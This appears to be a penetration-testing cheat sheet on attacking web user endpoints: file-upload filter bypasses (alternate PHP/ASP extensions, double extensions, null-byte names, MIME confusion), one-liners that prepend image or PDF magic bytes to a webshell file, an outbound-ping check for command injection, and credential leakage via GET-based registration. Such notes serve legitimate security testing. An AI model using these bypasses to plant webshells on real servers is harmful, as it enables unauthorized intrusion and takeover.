User Endpoints
File Upload Filtering
Executable extensions
.php -> Standard extension for PHP scripts.
.php5 -> Used for PHP version 5 scripts.
.phtml -> PHP scripts with an alternative extension, often for compatibility or aesthetic reasons.
.pht -> Less common extension, used for PHP files; sometimes bypasses naive filters.
.phps -> Typically used for PHP source code highlighting.
.php3 -> Extension for older PHP 3 scripts; still valid in some configurations.
.asp -> Active Server Pages, Microsoft’s server-side scripting technology.
.aspx -> Advanced ASP.NET pages used for dynamic web content on Microsoft platforms.
.jsp -> Java Server Pages, used for dynamic web applications in Java environments.
Test filters
There are normally three ways a web server will check for valid file types by comparing them to an allow- or deny-list:
File extension:Double extensions:
.png.php,.jpg.php,.png.asp,.gif.jsp
Null byte injection:
file.php%00.jpg,file.asp%00.png
Content-Typeheaders:Executable types:
application/x-phpapplication/x-shapplication/x-msdownloadapplication/x-python-code
Image Types:
image/png,image/jpeg,image/gif,image/bmp,image/svg+xml
MIMEConfusion:text/htmlinstead ofapplication/jsontext/plainto trick servers.
Magic bytes(file signature)Online hex editor ->
HexED.it
echo "89504e470d0a1a0a" | xxd -r -p > magic_bytes.bin; cat magic_bytes.bin webshell.php > malicious.pngecho "ffd8ff" | xxd -r -p > magic_bytes.bin; cat magic_bytes.bin webshell.php > malicious.jpgecho "47494638" | xxd -r -p > magic_bytes.bin; cat magic_bytes.bin webshell.php > malicious.gifecho "25504446" | xxd -r -p > magic_bytes.bin; cat magic_bytes.bin webshell.php > malicious.pdfecho "504b0304" | xxd -r -p > magic_bytes.bin; cat magic_bytes.bin webshell.php > malicious.zipCheck Input Sanitation/Validation
Submit especial characters in the request
!@#$%^&*()In Linux IP addresses can be written in decimal and HEX, this can be useful if dots are blacklisted.
Prove the Injection
If you find a command injection, test whether the system can establish outbound connections to an external server:
ping+10.10.10.10And wait for it with
tcpdump:
tcpdump -i tun0 icmpIdentifying GET-based Registration
When applications use GET requests for registration, credentials are typically passed as URL parameters. This often indicates one of two architectural patterns:
This results in sensitive data being logged in
Apache/Nginx access logs: Complete URLs with credentials in plaintextProxy server logs: Corporate proxies, CDNs, and load balancersBrowser history: Local storage of registration URLsReferrer headers: Potential leakage when users navigate to external sites
Combined authentication endpoint
The application performs a database lookup for existing credentials and creates new accounts if none exist.
Additional Attack Vectors
CSRF vulnerabilities:GETrequests don't requireCSRFtokens, enabling cross-site request forgeryURL sharing risks: Accidental credential disclosure through bookmark sharing or copy-paste actionsCaching issues: Browsers and intermediary systems may cache sensitiveURLs
Last updated